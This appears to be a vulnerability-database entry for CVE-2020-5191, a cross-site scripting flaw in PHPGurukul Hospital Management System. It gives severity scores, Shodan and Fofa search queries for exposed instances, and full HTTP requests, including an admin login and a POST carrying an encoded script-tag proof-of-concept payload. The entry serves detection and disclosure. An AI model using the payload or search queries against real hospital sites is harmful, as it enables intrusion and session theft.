🔙 목록으로 돌아가기

CVE-2020-5191: PHPGurukul Hospital Management System - Cross-Site Scripting

TitlePHPGurukul Hospital Management System - Cross-Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.04817
CVE IDCVE-2020-5191
CWE IDCWE-79
Shodan Queryhttp.html:"hospital management system"
Fofa Querybody="hospital management system"
Tags cve2020 cve hms cms xss authenticated edb phpgurukul vuln

🔍 Vulnerability Description

PHPGurukul Hospital Management System in PHP 4.0 contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

🌐 HTTP Request

POST /hospital/hms/admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/9.0
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=zy9Vlx&password=kzXzxL&submit=&submit=
POST /hospital/hms/admin/doctor-specilization.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5191.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5191.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A